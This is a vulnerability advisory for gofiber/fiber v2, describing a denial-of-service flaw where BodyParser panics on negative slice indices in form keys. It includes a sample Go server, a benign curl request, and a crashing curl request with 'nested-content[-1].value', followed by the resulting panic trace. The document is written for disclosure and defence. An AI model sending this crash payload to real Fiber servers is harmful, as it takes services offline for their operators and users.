Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-129: Improper Validation of Array Index, where the product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. In Github.com/gofiber/fiber/v2, software state validation or input boundaries are circumvented during processing.

"details" : "### Summary\nWhen using the `fiber.Ctx.BodyParser` to parse into a struct with range values, a panic occurs when trying to parse a negative range index\n\n### Details\n`fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. \n\nSince this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality \n\n### Reproducing\nTake a simple GoFiberV2 server which returns a JSON encoded version of the FormData\n```go\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gofiber/fiber/v2\"\n)\n\ntype RequestBody struct {\n\tNestedContent []*struct {\n\t\tValue string `form:\"value\"`\n\t} `form:\"nested-content\"`\n}\n\nfunc main() {\n\tapp := fiber.New()\n\n\tapp.Post(\"/\", func(c *fiber.Ctx) error {\n\t\tformData := RequestBody{}\n\t\tif err := c.BodyParser(&formData); err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn c.SendStatus(http.StatusUnprocessableEntity)\n\t\t}\n c.Set(\"Content-Type\", \"application/json\")\n s, _ := json.Marshal(formData)\n return c.SendString(string(s))\n\t})\n\n\tfmt.Println(app.Listen(\":3000\"))\n}\n\n```\n\n**Correct Behaviour**\nSend a valid request such as:\n```bash\ncurl --location 'localhost:3000' \\\n--form 'nested-content[0].value=\"Foo\"' \\\n--form 'nested-content[1].value=\"Bar\"'\n```\nYou recieve valid JSON\n```json\n{\"NestedContent\":[{\"Value\":\"Foo\"},{\"Value\":\"Bar\"}]}\n```\n\n**Crashing behaviour**\nSend an invalid request such as:\n```bash\ncurl --location 'localhost:3000' \\\n--form 'nested-content[-1].value=\"Foo\"'\n```\nThe server panics and crashes\n```\npanic: reflect: slice index out of range\n\ngoroutine 8 [running]:\nreflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)\n /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167\ngithub.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})\n[...]\n```\n\n### Impact\nAnyone using `fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent",
